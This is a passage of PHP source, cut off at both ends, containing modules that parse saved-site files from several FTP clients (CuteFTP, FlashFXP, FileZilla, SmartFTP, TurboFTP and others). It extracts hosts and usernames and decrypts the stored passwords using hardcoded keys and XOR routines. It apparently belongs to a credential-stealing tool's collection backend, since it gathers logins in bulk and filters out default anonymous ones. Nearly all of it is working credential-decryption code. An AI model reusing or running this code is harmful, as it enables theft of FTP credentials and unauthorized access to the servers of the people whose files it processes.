$this->CuteFTPItem["host"]; $stream->read_dword(); // LoginMethod if ($Is69 >= 0x6d) { $this->CuteFTPItem["user"] = $stream->read_bytestring(true); $this->CuteFTPItem["pass"] = $stream->read_bytestring(true); } else { $this->CuteFTPItem["user"] = $stream->read_bytestring(); $this->CuteFTPItem["pass"] = $this->DecryptPass($stream->read_bytestring()); } $stream->read_bytestring(); // description $this->CuteFTPItem["proto"] = $stream->read_dword(); // Protocol $this->CuteFTPItem["port"] = $stream->read_dword(); // Port $stream->read_dword(); // ServerType $stream->read_dword(); // DataConnType $stream->read_dword(); // TransferType $this->CuteFTPItem["dir"] = $stream->read_bytestring(); $this->handle_host($stream); $this->CuteFTPItem = array(); $stream->read_bytestring(); // LocalFolder $stream->read_dword(); // CachingOptions $stream->read_dword(); // Unknown $stream->read_dword(); // UpldCaseOptions $unk_subversion = $stream->read_dword(); // Unknown if ($unk_subversion == 2 && $Is69 == 0x68) $stream->read_skip(30); $stream->read_dword(); // FilterFlags $stream->read_bytestring(); // RemoteFilter // Filter mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // Filter // Filter NOT mask $FiltCount = $stream->read_word(); for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // NotFilter $stream->read_dword(); // SiteConfOptions $stream->read_dword(); // ApplyAutoRename $stream->read_dword(); // NLSTList if ($unk_subversion == 2 && $Is69 == 0x68) $stream->read_skip(1); // Proxy $stream->read_word(); // Unknown $stream->read_bytestring(); // ProxyHost $stream->read_dword(); // ProxyPort $stream->read_bytestring(); // ProxyUser $stream->read_bytestring(); // ProxyPass $stream->read_dword(); // ProxyType $stream->read_dword(); // ProxyUseAuth $stream->read_dword(); // ProxyAuthType $stream->read_bytestring(); // ProxyUser@ // Proxy custom login sequence $FiltCount = $stream->read_word(); // LinesCount for ($i = 0; $i < $FiltCount; $i++) $stream->read_bytestring(); // SingleLine // Socks $stream->read_word(); // Unknown $stream->read_bytestring(); // SocksHost $stream->read_dword(); // SocksPort // !NB: both encrypted in 0x6d+ versions $stream->read_bytestring(); // SocksUser $stream->read_bytestring(); // SocksPass $stream->read_dword(); // SocksType $stream->read_dword(); // SocksUseAuth $stream->read_dword(); // ConnRetryAttmps $stream->read_dword(); // ConnRetryDelay $stream->read_dword(); // FTPPasswdProtect if ($host == 'webdav.tappin.com') { // 12 TappIn flags $stream->read_dword(); $stream->read_dword(); $stream->read_dword(); $stream->read_bytestring(); // Friend $stream->read_bytestring(); // ShareName $stream->read_bytestring(); // TappInFriendFolder $stream->read_bytestring(); // TappInRemoteFolder } } protected function process_bookmarks($stream, $BookmarksCount) { $CSeparator = $stream->read_word(); if (!$BookmarksCount) return; if ($CSeparator == 0xffff) { $stream->read_word(); // Separator2 $stream->read_strlen($stream->read_word()); // TypeName } for ($i = 0; $i < $BookmarksCount; $i++) { $stream->read_dword(); // Ident $stream->read_bytestring(); // BookmarkName $stream->read_bytestring(); // RemPath $stream->read_bytestring(); // LocPath $stream->read_dword(); // UseDefPath $stream->read_word(); // Separator } } protected function process_dat($value, $isquick) { if (strlen($value) <= 8) return false; $stream = new stream_cute($value, $this->log); if (!$isquick) { // check .dat version if (($stream->datalen < 17) || ($stream->read_dword() != 0x130)) { // not a cute ftp file return true; } $stream->read_byte(); // SubVersion $stream->read_dword(); // NextID $CEntriesCount = $stream->read_dword(); $stream->read_dword(); // DefaultID } else { if ($stream->datalen < 8) return false; $CEntriesCount = $stream->read_dword(); $stream->read_dword(); } $CType = ''; $CSeparator = 0; $j = 0; while ($stream->state) { // Types & Entries if (($CSeparator == 0xffff) || ($CType == '')) { // New type found if ($CSeparator != 0xffff) $stream->read_word(); // First separator $stream->read_word(); // Unknown // Type $CType = $stream->read_strlen($stream->read_word()); $CSeparator = 0; } else { // Check if out parser supports certain object type if (($CType != 'CTreeItem') && ($CType != 'CSMFTPItem') && ($CType != 'CSMSite') && ($CType != 'CTappInSite')) { $this->log->add("ERR_CUTEFTP_VER"); return false; } $stream->read_dword(); // Ident $stream->read_dword(); // ID $SubType = $stream->read_dword(); // Subtype $stream->read_dword(); // ParentID $this->CuteFTPItem["name"] = $stream->read_bytestring(); // ItemName $stream->read_dword(); // Icon switch ($SubType) { case 0: // FtpItem $stream->read_dword(); // 0 - has bookmarks; 1 - has no bookmarks $stream->read_dword(); // Flags $this->process_bookmarks($stream, $stream->read_word()); $CObjVersion = $stream->read_dword(); // Select data handler switch ($CObjVersion) { case 0x01: case 0x03: case 0x04: $this->Handle3_4($stream, $CObjVersion); // 4.0, 4.1 break; case 0x65: case 0x66: $this->Handle65_66($stream, $CObjVersion); // 1.0 Pro break; case 0x68: $this->Handle68_69_6c($stream, $CObjVersion); // 2.0 Pro break; case 0x69: $this->Handle68_69_6c($stream, $CObjVersion); // 3.0 Pro, 6.0 Home/Pro, 7.0 Home/Pro break; case 0x6c: $this->Handle68_69_6c($stream, $CObjVersion); // 8.0 Pro break; case 0x6d: $this->Handle68_69_6c($stream, $CObjVersion); // 8.3 Pro break; case 0x6e: // 9.0 case 0x6f: // 9.0.4 case 0x70: // 9.0.5 $this->Handle68_69_6c($stream, $CObjVersion); // CuteFTP 9.X break; default: $this->log->add("ERR_CUTEFTP_VER: ".$CObjVersion); return false; } $j = $j + 1; if ($j == $CEntriesCount) return true; $CSeparator = $stream->read_word(); break; case 1: // TreeItem $stream->read_dword(); // ShowContents $stream->read_word(); // Unknown $stream->read_dword(); // Unknown $SubItemsCount = $stream->read_word(); for ($i = 0; $i < $SubItemsCount; $i++) $stream->read_dword(); // SubItem $j = $j + 1; if ($j == $CEntriesCount) return true; $CSeparator = $stream->read_word(); break; default: $this->log->add("ERR_CUTEFTP_VER"); return false; } } } if (!$stream->state) $this->log->add("ERR_CUTEFTP_DAT_PROCESS_ERROR"); return $stream->state; } public function import_item($stream, $id) { switch ($id) { case 0x0000: // sm.dat $this->process_dat($stream->read_str(), false); break; case 0x0001: // quick connections $this->process_dat($stream->read_str(), true); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FlashFXP class module_flashfxp extends module { protected function decrypt($pass, $key = 'yA36zA48dEhfrvghGRg57h5UlDv3') { if (!strlen($pass) || !strlen($key)) return false; $hex_str = hextostr($pass); if ($hex_str === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return false; } $result = ''; $old = ord($hex_str[0]); $k = 0; for ($i = 1; $i < strlen($hex_str); $i++) { $new = ord($hex_str[$i]) ^ ord($key[$k++ % strlen($key)]); if ($old >= $new) $new--; $result .= chr($new-$old); $old = ord($hex_str[$i]); } return $result; } protected function process_ini($value, $id) { if ($id == 2) { // saved history $values = parse_lines($value); foreach ($values as $line) { $decrypted_line = $this->decrypt($line); $decrypted_line = substr($decrypted_line, strpos($decrypted_line, chr(4))+1); $split_values = explode(chr(5), $decrypted_line); if (count($split_values) >= 5) { $host = trim($split_values[0]); $user = trim($split_values[1]); $pass = trim($split_values[2]); $port = trim($split_values[3]); $dir = trim($split_values[4]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } return; } $parsed_ini = parse_ini($value); foreach ($parsed_ini as $secname=>$section) { if (!is_array($section)) continue; $host = assign($section['ip']); $user = assign($section['user']); if ($id == 1) $pass = $this->decrypt(assign($section['pass']), $secname); else $pass = $this->decrypt(assign($section['pass'])); $dir = assign($section['path']); $port = assign($section['port']); $options = assign($section['options']); $proto = 0; if (strlen($options) >= 39) { if ($options[38] == '1') $proto = 1; } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 1), $port, $dir), $user, $pass); } } protected function import_item($stream, $id) { if ($id != 0x0000 && $id != 0x0001 && $id != 0x0002) { $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } $this->process_ini($stream->read_str(), $id); return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FileZilla class module_filezilla extends module { private $last_server = array(); private $is_v3 = false; private $is_converted = false; private function dec_utf8($value) { if (!strlen($value)) return ''; if ($this->is_converted) return utf8_decode($value); else return Utf8ToWin($value); } protected function decrypt($pass) { if (!strlen($pass) || (strlen($pass) % 3 != 0)) return false; $key = 'FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $p = ((int_divide(strlen($pass), 3)) % 0x2d); $result = ''; $len = int_divide(strlen($pass), 3); for ($i = 0; $i < $len; $i++) { $num = substr($pass, $i*3, 3); if (!is_num($num)) return false; $result .= chr(ord($key[$p++ % strlen($key)]) ^ intval($num)); } return $result; } protected function fix_dir($value) { $value = trim($value); if (!strlen($value)) return ''; if (strpos($value, ' ') !== false) { $dir_parts = explode(' ', $value); if (count($dir_parts) > 2 && ((count($dir_parts) % 2) == 0) && $dir_parts[1] === '0') { $result = ''; for ($i = 2; $i < count($dir_parts); $i+=2) { if (strlen($dir_parts[$i+1]) && strlen($dir_parts[$i+1]) == intval($dir_parts[$i])) { $result .= '/'.$dir_parts[$i+1]; } else { // something went wrong return $value; } } } else { return $value; } return $result; } else return $value; } private function fix_entities($encoded_value) { if (!strlen($encoded_value)) return ''; if (strpos($encoded_value, '_zomgencodedentity_') === false) return $encoded_value; return html_entity_decode(str_replace('_zomgencodedentity_', '&#', $encoded_value), ENT_COMPAT, 'Windows-1251'); } protected function read_xml_item($xml_array, $require_decryption) { $host = $this->fix_entities($this->dec_utf8(assign($xml_array['Host']))); $user = $this->fix_entities($this->dec_utf8(assign($xml_array['User']))); $pass = assign($xml_array['Pass']); // decrypt pass if required if (strlen($pass) && $require_decryption) { $pass = $this->decrypt($pass); } else $pass = $this->fix_entities($this->dec_utf8($pass)); $port = $this->fix_entities($this->dec_utf8(assign($xml_array['Port']))); $protocol = $this->fix_entities($this->dec_utf8(assign($xml_array['Protocol']))); if ($protocol == '') { // Older XML files, SFTP protocol equals to ServerType=3 $protocol = $this->fix_entities($this->dec_utf8(assign($xml_array['ServerType']))); if ($protocol == '3') $protocol = '1'; else $protocol = ''; } $dir = str_replace('%20', ' ', $this->fix_entities($this->fix_dir($this->dec_utf8(assign($xml_array['RemoteDir']))))); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '1'), $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value, $require_decryption); } } protected function read_xml_last_server($xml_array, $parent_value) { $name = assign($xml_array['name']); if ($name == 'Last Server Host') $this->last_server['host'] = $this->fix_entities($this->dec_utf8(assign($parent_value))); if ($name == 'Last Server Port') $this->last_server['port'] = $this->fix_entities($this->dec_utf8(assign($parent_value))); if ($name == 'Last Server Type') $this->last_server['protocol'] = $this->fix_entities($this->dec_utf8(assign($parent_value))); if ($name == 'Last Server Path') $this->last_server['dir'] = $this->fix_entities($this->dec_utf8(assign($parent_value))); if ($name == 'Last Server User') $this->last_server['user'] = $this->fix_entities($this->dec_utf8(assign($parent_value))); if ($name == 'Last Server Pass') $this->last_server['pass'] = $parent_value; $parent_value = assign($xml_array['value']); foreach ($xml_array as $value) { if (is_array($value)) { $this->read_xml_last_server($value, $parent_value); } } } protected function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if ((strval($key) == 'Server' || strval($key) == 'LastServer' || strval($key) == 'Site') && is_array($value)) { $require_decryption = false; if (strval($key) == 'Site') $require_decryption = true; if (strval($key) == 'Server' && !$this->is_v3) $require_decryption = true; $this->read_xml_item($value, $require_decryption); } if (strval($key) == 'Settings' && is_array($value)) { $this->read_xml_last_server($value, ''); } $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { $value = trim($value); $this->last_server = array(); $this->is_v3 = strpos($value, 'is_converted = false; if (!strlen($value)) return; // file will be always processed as UTF-8 if (strpos($value, 'UTF-8') === false && strpos($value, 'utf-8') === false) { $value = utf8_encode($value); $value = str_replace('encoding="ISO-8859-1"', 'encoding="UTF-8"', $value); $this->is_converted = true; } // fix encoded url entities $value = str_replace('&#', '_zomgencodedentity_', $value); // fix non-closed tags if ((strpos($value, '') !== false) && (strpos($value, '') === false) && (strpos($value, '') !== false)) { $value .= "\r\n"; } $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); /* Process Last Server stored in older XML files */ $host = assign($this->last_server['host']); $port = assign($this->last_server['port']); $proto = assign($this->last_server['protocol']); $dir = assign($this->last_server['dir']); $user = assign($this->last_server['user']); $pass = $this->decrypt(assign($this->last_server['pass'])); if ($proto == 0x1002) $proto = 3; $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 3), $port, $dir), $user, $pass); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0001: case 0x0002: $this->process_xml($stream->read_str(), $id); break; case 0x0003: case 0x0013: // port stored as string $host = $stream->read_str(); $user = $stream->read_str(); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_str(); $dir = $stream->read_str(); if (($id & 0x10) > 0) { $proto = $stream->read_dword(); if ($proto == 0x1002) $proto = 3; } else { $proto = 0; } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 3), $port, $dir), $user, $pass); break; case 0x0004: case 0x0014: // port stored as dword $host = $stream->read_str(); $user = $stream->read_str(); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_str(); if (strlen($port) == 4) $port = strval(data_int32($port)); else $port = ''; $dir = $stream->read_str(); if (($id & 0x10) > 0) { $proto = $stream->read_dword(); if ($proto == 0x1002) $proto = 3; } else { $proto = 0; } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 3), $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Commander class module_ftpcommander_base extends module { protected function decrypt($pass) { if (!strlen($pass)) return false; for ($i = 0; $i < strlen($pass); $i++) $pass[$i] = chr(ord($pass[$i]) ^ 0x19); return $pass; } protected function process_ini($value) { if (!strlen($value)) return; $values = parse_lines($value); foreach ($values as $line) { $parsed_line = explode(';', $line); $host = ''; $user = ''; $pass = ''; $port = ''; $dir = ''; $use_ssh = ''; foreach ($parsed_line as $v) { $name = substr($v, 0, strpos($v, '=')); $val = substr($v, strpos($v, '=')+1); if (strtolower($name) == 'server') $host = trim($val); if (strtolower($name) == 'port') $port = trim($val); if (strtolower($name) == 'user') $user = trim($val); if (strtolower($name) == 'password') { $pass = trim($val); if ($pass == '1' || $pass == '0') $pass = ''; else { $pass = $this->decrypt($pass); } } if (strtolower($name) == 'initialdir') $dir = trim($val); if (strtolower($name) == 'usessh') $use_ssh = trim($val); } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $use_ssh == '1'), $port, $dir), $user, $pass); } } public function import_item($stream, $id) { if ($id != 0x0000) { $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } $this->process_ini($stream->read_str()); return true; } } class module_ftpcommander extends module_ftpcommander_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // BulletProof FTP class stream_bulletproof extends stream { public function read_bps_string() { $result = $this->read_strlen($this->read_byte()); if (!$this->state) return false; $seed = strlen($result); for ($i = 0; $i < strlen($result); $i++) $result[$i] = chr(ord($result[$i]) ^ myrand(0x100, $seed)); return $result; } } class module_bulletproof extends module { protected function decrypt($pass) { if (!strlen($pass) || strlen($pass)%2 != 0) return false; if (substr($pass, 0, 2) != 'bp') return false; $pass = substr($pass, 2); $l = int_divide(strlen($pass), 2); $seed = $l + 0x3F8A7A; $result = ''; for ($i = 0; $i < $l; $i++) { $c = ord($pass[$i*2]) - 0x61; $c = ($c << 4) - $c; $d = ord($pass[$i*2+1]) - 0x61; $result .= chr((($d + $c) & 0xff) ^ (myrand(0xfa, $seed))); } return $result; } protected function process_bps($value) { $stream = new stream_bulletproof($value, $this->log); if ($stream->read_bps_string($stream) != 'BPSitelist') return; $stream->read_skip(4); while ($stream->state && ($stream->pos < $stream->datalen)) { $stream->read_bps_string(); // itemname $host = $stream->read_bps_string(); // host $user = $stream->read_bps_string(); // user $dir = $stream->read_bps_string(); // remote_dir $stream->read_bps_string(); // local_dir $port = $stream->read_bps_string(); // port (string) $pass = $stream->read_bps_string(); // pass $stream->read_skip(25); if ($stream->state) $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } protected function process_dat($value) { $values = parse_lines($value); if (count($values) >= 7) { $host = $values[1]; $port = $values[2]; $user = $values[3]; $pass = $this->decrypt($values[4]); $dir = $values[6]; $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_bps($stream->read_str()); break; case 0x0001: $this->process_dat($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // SmartFTP 2.x-4.x class stream_smartftp extends stream { public function read_smartstr() { if (!$this->state) return false; $w = $this->read_word(); $b = $this->read_byte(); if ($w != 0xfeff || $b != 0xff) { $this->push_error('ERR_SMARTFTP_STR'); return false; } $len = $this->read_byte(); if ($len == 0xff) $len = $this->read_word(); if (!$this->state) return false; return unicode_to_ansi($this->read_strlen($len*2)); } public function read_smartwstr() { if (!$this->state) return false; return $this->read_strlen($this->read_word()); } } class module_smartftp extends module { protected function decrypt($pass) { if ((!strlen($pass)) || ((strlen($pass) % 4) != 0)) return false; $crypt = array( 0xE722, 0xF62F, 0xB67C, 0xDD5A, 0x0FDB, 0xB94E, 0x5196, 0xE040, 0xF694, 0xABE2, 0x21BB, 0xFC08, 0xE48E, 0xB96A, 0x55D7, 0xA6E5, 0xA4A1, 0x2172, 0x822D, 0x29EC, 0x57E4, 0x1458, 0x04D1, 0x9DC1, 0x7020, 0xFC6A, 0xED8F, 0xEFBA, 0x8E88, 0xD689, 0xD18E, 0x8740, 0xA6DE, 0x8E01, 0x3AC2, 0x6871, 0xEE11, 0x8C2A, 0x5FC1, 0x337F, 0x6D32, 0xD471, 0x7DC9, 0x0CD9, 0x5071, 0xA094, 0x1605, 0x6FD7, 0x3638, 0x4FFD, 0xB3B2, 0x9717, 0xBECA, 0x721C, 0x623F, 0x068F, 0x698F, 0x7FFF, 0xE29C, 0x27E8, 0x7189, 0x4939, 0xDB4E, 0xC3FD, 0x8F8B, 0xF4EE, 0x9395, 0x6B1A, 0xD1B1, 0x0F6A, 0x4D8B, 0xA696, 0xA79D, 0xBB9E, 0x00DF, 0x093C, 0x856F, 0xB51C, 0xF1C5, 0xE83D, 0x393A, 0x03D1, 0x68D8, 0x9659, 0xF791, 0xB2C2, 0x0234, 0x9B5C, 0xB1BF, 0x72EB, 0xDABA, 0xF1C5, 0xDA01, 0xF047, 0x3DD8, 0x72AB, 0xD6DD, 0x6793, 0x898D, 0x7757); $pass = hextostr($pass); if ($pass !== false) { $pass = substr($pass, 0, 200); // limit decryption length for ($i = 0; $i < int_divide(strlen($pass), 2); $i++) { $pass[$i*2] = chr(ord($pass[$i*2]) ^ ($crypt[$i] >> 8)); $pass[$i*2+1] = chr(ord($pass[$i*2+1]) ^ ($crypt[$i] & 0xff)); } return unicode_to_utf8($pass); } else { $this->log->add('ERR_INVALID_HEX_STRING'); return false; } } private function read_xml_item($xml_array) { $host = assign($xml_array['Host']); $user = assign($xml_array['User']); $pass = assign($xml_array['Password']); $pass = $this->decrypt($pass); $port = assign($xml_array['Port']); $dir = assign($xml_array['Path']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if ((strval($key) == 'FavoriteItem') && is_array($value)) $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { if (!strlen($value)) return; // some XMLs are actually binary files if (substr($value, 0, 4) == "\x53\x43\x55\x01") return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } private function process_fav_item($stream) { $type_id = $stream->read_word(); if ($type_id == 0xffff) { $stream->read_skip(2); $ctype = $stream->read_smartwstr(); if (!$stream->state || ($ctype != 'CStorageFolder' && $ctype != 'CFavoritesItem')) { $this->log->add('ERR_INVALID_SMARTFTP_TYPE'); return false; } } $stream->read_skip(16); $stream->read_smartstr(); // ItemName $nSubItems = $stream->read_word(); if ($stream->eof()) return true; if ($nSubItems > 0) { // folder while ($nSubItems-- && $stream->state) { if (!$this->process_fav_item($stream)) return false; } return $stream->state; } if (!$stream->state) return false; $ver = $stream->read_dword(); $host = $stream->read_smartstr(); $user = $stream->read_smartstr(); $pass = $stream->read_smartstr(); if ($ver > 3) $stream->read_smartstr(); // account if (($ver == 1) || ($ver == 2) || ($ver == 3) || ($ver == 4) || ($ver == 5) || ($ver == 6) || ($ver == 7)) { $stream->read_skip(4); if ($ver >= 6) $stream->read_skip(4); $port = $stream->read_dword(); $stream->read_skip(4); $dir = $stream->read_smartstr(); $stream->read_smartstr(); // Decription $stream->read_skip(16); $bookmark_count = $stream->read_word(); for ($i = 0; $i < $bookmark_count; $i++) { $type_id = $stream->read_word(); if ($type_id == 0xffff) { $stream->read_skip(2); $ctype = $stream->read_smartwstr(); if (!$stream->state || ($ctype != 'CBookmarkItem')) { $this->log->add('ERR_INVALID_SMARTFTP_TYPE'); return false; } } $stream->read_smartstr(); // Bookmark1 $stream->read_smartstr(); // Bookmark2 } $stream->read_skip(4*16-4-8); if ($ver > 2) $stream->read_skip(8); $stream->read_smartstr(); // LocalFolder $stream->read_skip(4); $sub_ver = $stream->read_dword(); if ($sub_ver == 1) { $stream->read_smartstr(); // MapURL1 $stream->read_smartstr(); // MapURl2 $stream->read_skip(4*16-4); } else { $stream->read_skip(4*16-8); } if ($ver > 2) $stream->read_skip(4); $stream->read_smartstr(); // CertStr if ($ver > 2) $stream->read_skip(4); $stream->read_skip(8); $stream->read_smartstr(); // ProxyHost $stream->read_skip(4); // ProxyPort $stream->read_skip(4); // ProxyType $stream->read_smartstr(); // ProxyUser $stream->read_smartstr(); // ProxyPass $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); $stream->read_skip(80); // Seek for 0x0180 | 0x0380 while ($stream->state && !$stream->eof()) { $first_ver_byte = $stream->read_byte(); if (($first_ver_byte == 0x03 || $first_ver_byte == 0x01) && ($stream->read_byte() == 0x80)) { $stream->pos -= 2; break; } } } else { $this->log->add('ERR_INVALID_SMARTFTP_VERSION: '.$ver); return false; } return $stream->state; } protected function process_favorites($value) { if (strlen($value) < 12) return false; $header = substr($value, 0, 4); if ($header != "\x53\x43\x55\x01") return false; // unpack confing data $unpacked_data_len = data_int32(substr($value, 4, 4)); $packed_data = substr($value, 12); $unpacked_data = gzuncompress($packed_data); if ($unpacked_data !== false && strlen($unpacked_data) == $unpacked_data_len) { if (strlen($unpacked_data) > 16) { $stream = new stream_smartftp($unpacked_data, $this->log); $stream->read_skip(20); $stream->read_smartstr(); $count = $stream->read_word(); while ($stream->state && $count--) { if (!$this->process_fav_item($stream)) return false; } } return true; } else { $this->log->add('ERR_CANNOT_UNPACK_SMARTFTP_CONFIG'); return false; } } protected function process_history($value) { if (!strlen($value)) return false; $header = substr($value, 0, 4); if ($header != "\x53\x43\x55\x01") return false; // unpack confing data $unpacked_data_len = data_int32(substr($value, 4, 4)); $packed_data = substr($value, 12); $unpacked_data = gzuncompress($packed_data); $ver = 0; if ($unpacked_data !== false && strlen($unpacked_data) == $unpacked_data_len) { if (strlen($unpacked_data) > 16) { $stream = new stream_smartftp($unpacked_data, $this->log); $stream->read_skip(4); $count = $stream->read_word(); while ($stream->state && $count--) { $type_id = $stream->read_word(); if ($type_id == 0xffff) { $ver = $stream->read_word(); $ctype = $stream->read_smartwstr(); if (!$stream->state || ($ctype != 'CHistoryItem')) { $this->log->add('ERR_INVALID_SMARTFTP_TYPE'); return false; } } $stream->read_skip(32); if ($stream->eof()) return true; if ($ver >= 5) $stream->read_skip(4); if ($stream->eof()) return true; if ($ver < 6) { $host = $stream->read_smartstr(); $user = $stream->read_smartstr(); $pass = $stream->read_smartstr(); $dir = $stream->read_smartstr(); $port = $stream->read_dword(); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); $stream->read_skip(24-8); if ($ver >= 5) $stream->read_skip(8); $stream->read_smartstr(); // UnkStr1 $stream->read_smartstr(); // UnkStr2 $stream->read_skip(4); } } } } else { $this->log->add('ERR_CANNOT_UNPACK_SMARTFTP_QUICK_CONFIG'); } return true; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; case 0x0001: $this->process_favorites($stream->read_str()); break; case 0x0002: $this->process_history($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // TurboFTP class stream_turboftp extends stream { protected function decrypt($pass) { if (!strlen($pass) || !$this->state) return false; for ($i = 0; $i < strlen($pass); $i++) $pass[$i] = chr(ord($pass[$i]) ^ 0x49); return $pass; } public function read_turbostr_unicode() { if (!$this->state) return false; $l = $this->read_byte(); if ($l == 0xff) $l = $this->read_word(); if ($l == 0xffff) $l = $this->read_dword(); return $this->read_strlen($l*2); } public function read_turbostr($is_pass = false) { if (!$this->state) return false; $l = $this->read_byte(); if ($l == 0xff) $l = $this->read_word(); if ($l == 0xfffe) { $data = unicode_to_ansi($this->read_turbostr_unicode()); if ($is_pass) { return $this->decrypt($data); } else return $data; } if ($l == 0xffff) $l = $this->read_dword(); if ($is_pass) return $this->decrypt($this->read_strlen($l)); else return $this->read_strlen($l); } } class module_turboftp extends module { private function read_item($stream, $ver, $is_quick = false) { $ver_c = '0'; if (strlen($ver) > 0) $ver_c = $ver[0]; $protocol = 0; $ver_f = intval(substr($ver, 2, 4)); if (!$is_quick) $stream->read_dword(); // Unk $stream->read_turbostr(); // SiteName $stream->read_skip(4); $host = $stream->read_turbostr(); $stream->read_turbostr(); // Decription $stream->read_skip(4); $user = $stream->read_turbostr(); $pass = $stream->read_turbostr(true); $stream->read_skip(4); $stream->read_turbostr(); // Local folder $dir = $stream->read_turbostr(); // Remote folder $stream->read_skip(12); $port = strval($stream->read_word()); // Port $stream->read_skip(30); if ($ver_c == '2' && $ver_f <= 72) { // do not process } elseif ($ver_c == '2' && $ver_f <= 81) { $stream->read_skip(2); } else { // Remote booksmarks $bookmark_count = $stream->read_word(); for ($k = 0; $k < $bookmark_count; $k++) { $stream->read_turbostr(); // RemoteBookmark Name $stream->read_turbostr(); // RemoteBookmark Value } $stream->read_turbostr(); // Account $stream->read_skip(64); $stream->read_turbostr(); // Commands } if ($ver_c >= '3') { $stream->read_skip(10); $protocol = $stream->read_word(); // Connection Protocol (0 - FTP, 4 - SFTP) $stream->read_skip(8); if ($ver_c == '3' && $ver_f <= 60) { } else { $stream->read_turbostr(); // Exclude filter $stream->read_skip(4); $stream->read_turbostr(); // SSL cert $stream->read_turbostr(); // Private key $stream->read_turbostr(); // Private pass if ($ver_c >= '4') $stream->read_skip(2); $stream->read_skip(14); $stream->read_turbostr(); // Include filter } if ($ver_c >= '5') { $stream->read_turbostr(); $stream->read_skip(5*16+8); $stream->read_turbostr(); $stream->read_turbostr(); $stream->read_skip(4); $stream->read_turbostr(); $stream->read_turbostr(); $stream->read_skip(20); $stream->read_turbostr(); $stream->read_turbostr(); $stream->read_turbostr(); $stream->read_turbostr(); $stream->read_turbostr(); if ($ver_c == '6') { $bookmark_count = $stream->read_word(); for ($k = 0; $k < $bookmark_count; $k++) { // Local bookmarks $stream->read_turbostr(); // LocalBookmark1 $stream->read_turbostr(); // LocalBookmark2 } } } else $stream->read_turbostr(); // Dial-up connection } if ($user != 'anonymous' || ($pass != 'TurboFTP@' && $pass != 'TurboFTP@usa.net' && $pass != 'turboftp@')) // filter unwanted default anonymous logins $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 4), $port, $dir), $user, $pass); } private function process_dat($value) { if (!strlen($value)) return false; $stream = new stream_turboftp($value, $this->log); $ver = $stream->read_turbostr(); $n_items = $stream->read_dword(); $stream->read_skip(4); if (!$stream->state || ($n_items < 0)) { 